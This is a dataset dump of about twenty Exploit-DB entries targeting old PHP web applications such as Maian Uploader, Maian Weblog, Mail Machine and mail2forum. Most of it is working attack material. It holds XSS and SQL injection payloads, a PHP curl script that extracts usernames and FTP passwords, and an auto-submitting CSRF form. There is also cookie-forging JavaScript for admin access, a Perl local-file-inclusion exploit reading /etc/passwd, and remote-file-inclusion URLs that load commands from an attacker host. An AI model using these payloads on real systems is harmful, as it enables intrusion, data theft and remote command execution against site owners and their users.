deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31742
Description: Maian Uploader 4.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-05
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29051/info
 
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/maian/upload/admin/index.php?cmd=search&process=1&keywords="<script>alert(&#039;xss&#039;)</script>
Exploit-DB #31741
Description: Maian Uploader 4.0 - 'keywords' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-05
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29051/info

Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cmd=search&keywords="<script>alert(&#039;xss&#039;)</script>
Exploit-DB #41787
Description: Maian Uploader 4.0 - 'user' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-04
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Maian Uploader Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maianuploader.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/uploader/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?cmd=view&user=[SQL]
# mu_members:id
# mu_members:joindate
# mu_members:sign_date
# mu_members:joinstamp
# mu_members:username
# mu_members:email
# mu_members:accpass 
# # # # #
Exploit-DB #11571
Description: Maian Uploader 4.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-24
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Maian Uploader v4.0 Shell Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iq-ty.com/vb - Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : http://www.maianscriptworld.co.uk/free-php-scripts/maian-uploader/free-file-upload-system/index.html                                                                                                                            
| # Dork     : Powered by: Maian Uploader v4.0                                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- (First Create Account) http://127.0.0.1/uploader/maian_uploader//index.php?cmd=create
 
 2- (Secend Upload your file) 
 
 3- (Therd Find It in) http://127.0.0.1/uploader\maian_uploader\user_uploads\10indoushka7ae0/ad6c74_ch9.php
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad ======================================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #6065
Description: Maian Uploader 4.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+         Maian Uploader <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Uploader v4.0



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Uploader suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "uploader_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+         Maian Uploader <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #39064
Description: Maian Uploader 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-24
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/65137/info

Maian Uploader is prone to multiple security vulnerabilities, including:

1. An SQL-injection vulnerability
2. Multiple cross-site scripting vulnerabilities

Attackers can exploit these issues to access or modify data, exploit latent vulnerabilities in the underlying database, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

+] Exploit (1) ' SQL Injection ' =>
#
# <?php
#
# /*
#
# - move.php (lines: 90 > 92 )
# $q_acc = mysql_query("SELECT id,username FROM ".$database['prefix']."members 
# WHERE id != '".$_POST['id']."' 
# ORDER BY accname") or die(mysql_error());
#
# */
#
# $sqli = "SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,ftp_user,0x3a,ftp_pass SEPARATOR 0x2c20) FROM mu_members";
#
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# curl_setopt($ch, CURLOPT_URL, "http://[target]/[path]/admin/data_files/move.php");
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_POST, 1);
# curl_setopt($ch, CURLOPT_POSTFIELDS, "id=$sqli");
# $exploit = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $exploit;
# ?>
# 
####
#
# [+] Exploit (2) ' XSRF/XSS ' =>
#
# - load_flv.js.php ( line : 25 ) 
# document.write('<object type="application/x-shockwave-flash" .....
# width="<?php echo $_GET['width']; ?>" 
# height="<?php echo $_GET['height']; ?>
#
# XSS : "><h1>XsS by KedAns-Dz</h1>
# XSS : "><script>Alert('XsS by KedAns-Dz');</script>
#
# http://127.0.0.1/uploader/admin/js/load_flv.js.php?width=[ XSS ]
# http://127.0.0.1/uploader/js/load_flv.js.php?width=[ XSS ]
#
# [&] Exploit (3) ' Full Path Disclosure ' => 
#
# don't put ( &height= ) after width Xss and you get error 
# Notice about ( Undefined index: height ) with the Full Path Dir.
#
######################################################################
Exploit-DB #27478
Description: Maian Weblog 2.0 - 'mail.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-27
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17247/info
 
Maian Weblog is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.
 
This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/mail.php? cmd=remove&email=111' or 1/*
Exploit-DB #27477
Description: Maian Weblog 2.0 - 'print.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-27
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17247/info

Maian Weblog is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.

This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/print.php?cmd=log&entry=999'% 20union%20select% 201,2,3,4,5, 6/*
Exploit-DB #40492
Description: Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)
Type: webapps
Platform: php
Date: 2016-10-10
Author: Besim

Exploit:
# Exploit Title :              Maian Weblog 4.0 - Cross-Site Request
Forgery ( Add New Post)
# Author :                     Besim
# Google Dork :                 -
# Date :                       10/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.maianweblog.com
# Software link :
 http://www.hotscripts.com/listings/jump/download/21864




*########################### CSRF PoC ###############################*


<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
method="POST">
      <input type="hidden" name="process" value="1" />
      <input type="hidden" name="title" value="Murat" />
      <input type="hidden" name="comments"
value="Muratttttt&#13;&#10;<br&#32;&#47;>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

*####################################################################*
Exploit-DB #6064
Description: Maian Weblog 4.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+           Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by Maian Weblog v4.0



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Weblog suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "weblog_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+           Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #41178
Description: Maian Weblog 4.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-27
Author: Kaan KAMIS

Exploit:
Introduction

Exploit Title: Maian Weblog – SQL Injection
Date: 27.01.2017
Vendor Homepage: http://www.maianweblog.com/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
 
Overview
 
Simple blog system for your website, Easily add/edit or delete blogs, Allow visitor comments for individual blogs, Optional e-mail notification for webmaster if comments are posted, Edit or delete visitor comments, BB Code, Calendar so visitors can view past archives, Support for multi language files, Show latest blogs/comments on blog page, Uses the Savant template engine.

Type of vulnerability:

An SQL Injection vulnerability in Maian Weblog allows attackers to read
arbitrary data from the database.

Vulnerable Url:

http://locahost/weblog/blog/2[payload]/second-blog.html
Mehod : GET

Simple Payload:
blog/2' AND (SELECT 2995 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(2995=2995,1))),0x717a787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AUvx'='AUvx/q-blog.html
Exploit-DB #4171
Description: Mail Machine 3.989 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-07-10
Author: H4 / XPK

Exploit:
#!/usr/bin/perl -w

#__________________________________________________________________________

# [*] Mail Machine Local File Include Exploit
# [*] Vuln. v3.980, v3.985, v3.987, v3.988 and v3.989
# __________________________________________________________________________

# [!] Application homepage :   http://www.mikesworld.net/mailmachine.shtml
# [!] Author               :   H4 / Team XPK
# [!] Contact              :   H4_XPK@hotmail.com

# ---------------------------------------------------------------------

# Vuln. code:

# In mailmachine.cgi sub load { ...

# open() function is not properly sanitized against user supplied input

# ---------------------------------------------------------------------

# [!] This information got leaked long time ago, therefore we think that
#     everyone should have this information :)

# [!] Greetz to Angeldust & Narcotics and Streets and to rest of community.

use strict;
use IO::Socket;

if(@ARGV<1) { &Usage; exit(0); }

my $host = 'h4x0red.com';
my $port = 80;
my $path = '/cgi-bin/mail/mailmachine.cgi';
my $file = "$ARGV[0]";

sub Header()
{
 print "*=====================================================================*\n";
 print "    ----------------------------------------------------------------\n";
 print "                  Mail Machine File Disclosure Exploit\n";
 print "    ----------------------------------------------------------------\n";
 print "*=====================================================================*\n";
 print "                             Coded by H4\n\n";
}

Header();

print "[*] Attacking $host ..\n\n";

my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) || die "[!] Unable to connect to $host\n";
my $post = "action=Load&archives=../../../../../../../../..$file%00";

my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\r\n";
$send .= "Accept: text/html\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n";
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> ) {
print "$line";
}

close($sock);

sub Usage()
 {
  Header();
  print "Usage : mailmachine3.pl filename\n";
  print "------> mailmachine3.pl /etc/passwd\n";
  print "Do not forget edit host/path/port..\n";
}

# milw0rm.com [2007-07-10]
Exploit-DB #24168
Description: Mail Manage EX 3.1.8 MMEX - 'Settings' PHP Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-06-03
Author: The Warlock [BhQ]

Exploit:
source: https://www.securityfocus.com/bid/10457/info

Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP files located on remote servers.

This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well. 

http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php
Exploit-DB #2019
Description: mail2forum phpBB Mod 1.2 - 'm2f_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: OLiBekaS

Exploit:
Title : mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : mail for phpbb (bulletin board/forum software)
version : latest version [ 1.2 ]
URL : http://www.www.mail2forum.com

-----------------------------------------------------------------------------

dork        : allinurl:/m2f_usercp.php?

Exploit     : 
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-07-17]
Exploit-DB #29851
Description: MailBee WebMail Pro 3.4 - 'Check_login.asp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-13
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/23481/info

MailBee WebMail Pro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects MailBee WebMail Pro 3.4; other versions may also be affected. 

http://www.example.com/[path]/index.php?msg=<script>alert(/the_Edit0r/);</script>
Exploit-DB #14639
Description: MailForm 1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-13
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [MailForm Remote File Include ] 
# Date: [14-8-2010] 
# Author: LoSt.HaCkEr  /  aDaM_TRoJaN
# Software Link: [http://scripts.bdr130.net/files/any/MailForm.zip] 
# Version: [v 1.2 ] 
# Tested on: [Windows XP] 
# CVE : [هكر المسيب] 
#Contact: LoSt.HaCkEr[at]yahoo[dot]com /0r/  aDaM_TRoJaN@yahoo.com
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit: http://target/MailForm/HTML/index.php?theme=[EV!L]
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
Exploit-DB #43092
Description: Mailing List Manager Pro 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
# 
# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# http://localhost/[PATH]/admin/template/?edit=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #8001
Description: Mailist 3.0 - Insecure Backup / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-06
Author: SirGod

Exploit:
#############################################################################################
[+] Mailist 3.0 Insecure Backup/Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
[+] www.anti-intruders.org
#############################################################################################

[+] Homepage : http://ninjadesigns.co.uk/

[+] Download : http://ninjadesigns.co.uk/enter/mailist.zip


[+] Insecure Backup

 - Vulnerable code in admin.php


---------------------------------------------------------------------


if (isset($_GET['backup'])){
	echo "<br>";
	$file = 'maillist.php';
	$newfile = 'backups/'.date("jnY").'.txt';
	copy($file, $newfile);
	echo 'Successfully backed up. (backups/'.$newfile.')<br>';
	echo '<a href="'.$_SERVER['PHP_SELF'].'">Hide</a><br>';
}


----------------------------------------------------------------------

 We can see how its crated a backup : $newfile = 'backups/'.date("jnY").'.txt';
 The date() function is used.

    n -	Numeric representation of a month, without leading zeros
    j -	Day of the month without leading zeros
    Y -	A full numeric representation of a year, 4 digits

 So we can guess the database backup if we know when was created.

   Example : 622009.txt

        6 - the day without leading 0
        2 - the month without leading 0
        2009 - the year

   PoC :  http://127.0.0.1/path/backups/622009.txt



[+] Local File Inclusion


 - Vulnerable code in send.php :

---------------------------------------------------------------------

if(isset($load)){

include("outbox/".$load.".txt");
}


---------------------------------------------------------------------

 Example :

   http://127.0.0.1/path/send.php?load=[Local File]%00

 PoC :

    http://127.0.0.1/path/send.php?load=../../../../boot.ini%00



#############################################################################################

# milw0rm.com [2009-02-06]